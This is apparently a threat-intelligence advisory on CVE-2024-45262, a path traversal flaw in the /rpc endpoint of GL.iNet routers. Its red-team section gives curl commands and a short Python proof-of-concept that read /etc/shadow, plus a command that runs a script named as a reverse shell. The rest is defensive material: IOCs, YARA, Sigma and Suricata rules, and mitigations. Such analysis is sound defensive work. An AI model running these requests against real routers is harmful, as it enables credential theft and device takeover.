CVE-2024-45262

Executive Summary

CVE-2024-45262 is a critical path traversal vulnerability affecting multiple GL.iNet router models (MT6000, MT3000, MT2500, AXT1800, AX1800) running firmware version 4.6.2. The flaw resides in the /rpc endpoint's call method, where the params parameter is not properly sanitized, allowing an attacker to traverse directories and execute arbitrary scripts. This can lead to full device compromise, including remote code execution, data exfiltration, and lateral movement within a network. No official patch has been released at the time of analysis, and a public proof-of-concept exists.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): High (H) – Arbitrary script execution.
• Availability (A): High (H) – Potential denial of service or full control.

CVSS Score: 9.8 (Critical) – Immediate remediation required.

Deep Dive & Mechanics

The vulnerability exists in the GL.iNet web management interface's RPC (Remote Procedure Call) endpoint. The /rpc endpoint is designed to handle internal API calls, but the call method does not validate the params parameter, which is used to specify file paths. An attacker can inject directory traversal sequences (e.g., ../../) to escape the intended directory and access or execute scripts anywhere on the filesystem.

Root Cause: Lack of input sanitization on the params parameter in the call method of the /rpc endpoint.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to /rpc with a malicious params value.
2. The server processes the request without proper validation.
3. The attacker can read sensitive files (e.g., /etc/shadow, configuration files) or execute arbitrary scripts (e.g., shell scripts, binaries).
4. This can lead to full device takeover.

Example Request:

POST /rpc HTTP/1.1
Host: target-router
Content-Type: application/json

{
  "method": "call",
  "params": ["../../../../etc/shadow"]
}

Vulnerable vs. Patched Code

Vulnerable Code (GL.iNet firmware 4.6.2):

# Pseudocode of vulnerable handler
def handle_rpc_call(params):
    # No sanitization of params
    file_path = params[0]
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Expected fix):

# Pseudocode of patched handler
import os

def handle_rpc_call(params):
    file_path = params[0]
    # Sanitize path to prevent traversal
    safe_path = os.path.normpath(file_path)
    if not safe_path.startswith('/allowed/base/directory'):
        raise PermissionError("Access denied")
    with open(safe_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: GL.iNet MT6000 running firmware 4.6.2 (or any affected model).
• Attacker: Kali Linux with curl and python3.

Exploitation Steps:

1. Identify target router IP (e.g., 192.168.1.1).
2. Send malicious request to read /etc/shadow:

   curl -X POST http://192.168.1.1/rpc \
     -H "Content-Type: application/json" \
     -d '{"method":"call","params":["../../../../etc/shadow"]}'
   

3. Execute a script (e.g., reverse shell):

   curl -X POST http://192.168.1.1/rpc \
     -H "Content-Type: application/json" \
     -d '{"method":"call","params":["../../../../tmp/evil.sh"]}'
   

Proof-of-Concept Script:

import requests
import sys

target = sys.argv[1]
payload = {"method": "call", "params": ["../../../../etc/shadow"]}
r = requests.post(f"http://{target}/rpc", json=payload)
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /rpc with suspicious params values containing ../ or absolute paths.
• Alert on unusual file reads (e.g., /etc/shadow, /etc/passwd).

Mitigation:

• Block external access to the /rpc endpoint via firewall rules.
• Implement input validation and path sanitization.
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /rpc with params containing ../ or absolute paths.
  • Outbound connections from router to attacker-controlled IPs (reverse shell).
• File System:
  • Unauthorized reads of /etc/shadow, /etc/passwd, /etc/config/*.
  • Presence of unexpected scripts in /tmp/ or /var/.
• Logs:
  • Web server logs showing repeated /rpc requests with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2024_45262_GLiNet_PathTraversal {
    meta:
        description = "Detects path traversal attempts in GL.iNet /rpc endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45262"
    strings:
        $traversal = /\.\.\/|\.\.\\|\.\.%2f|\.\.%5c/i
        $rpc_endpoint = "/rpc"
    condition:
        $rpc_endpoint and $traversal
}

Sigma Rule

title: GL.iNet RPC Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts targeting GL.iNet /rpc endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/rpc'
        cs-uri-query|contains: 'params'
        cs-uri-query|re: '\.\./|\.\.\\|\.\.%2f|\.\.%5c'
    condition: selection
falsepositives:
    - Legitimate administrative scripts (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-45262 GL.iNet RPC Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/rpc"; http_uri;
    content:"params"; http_client_body;
    pcre:"/\.\.\/|\.\.\\|\.\.%2f|\.\.%5c/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-45262;
    priority:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to the /rpc endpoint to trusted IPs only (e.g., local network).
   • Disable remote management if not required.
   • Monitor logs for exploitation attempts.

2. Vendor Patch:

   • No official patch available. Contact GL.iNet support for updates.
   • Consider downgrading to a previous firmware version if available.

3. Long-term Fix:

   • Implement input validation and path sanitization in the /rpc handler.
   • Use a whitelist of allowed paths.
   • Apply principle of least privilege to the web server process.

4. Workaround:

   • Use a reverse proxy (e.g., Nginx) to block requests with path traversal patterns.
   • Example Nginx rule:

     location /rpc {
         if ($request_body ~* "\.\.") {
             return 403;
         }
         proxy_pass http://backend;
     }
     

Valters IT
DevSecOps & Cyber Threat Intelligence Expert